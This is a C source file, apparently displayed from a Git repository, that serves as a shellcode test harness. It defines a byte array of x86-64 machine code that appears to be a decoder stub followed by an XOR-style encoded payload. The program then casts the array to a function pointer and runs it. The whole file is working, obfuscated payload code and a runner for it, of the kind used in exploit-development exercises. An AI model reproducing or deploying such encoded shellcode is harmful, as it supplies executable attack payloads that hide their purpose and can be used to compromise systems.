shellcode.c 548 Bytes
Newer Older
André Lima's avatar
André Lima committed
1 2 3 4 5 6 7 8 9 10
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x3c\x5f\x48\x89\xfb\x49\x89\xf9\x41\x8a\x11\x48\x29\xff\x48\xff\xc7\x41\x88\xd1\x44\x88\xc8\x40\x30\xf8\x3c\x90\x75\xf0\x48\x31\xc9\x48\x83\xc1\x1b\x40\x88\xf8\x48\x89\xdf\x30\x07\x48\xff\xc7\x48\xff\xc9\x4d\x31\xc9\x49\x39\xc9\x75\xf0\xff\xe3\xe8\xbf\xff\xff\xff\x78\x82\xd3\xb0\x71\xba\xa0\x53\xc7\xc7\x8a\x81\x86\xc7\x9b\x80\xbb\xbc\xb7\xba\xbc\xb6\xbf\xbc\xb2\xe7\xed";
main()
{
	printf("Shellcode Length:  %d\n", (int)strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}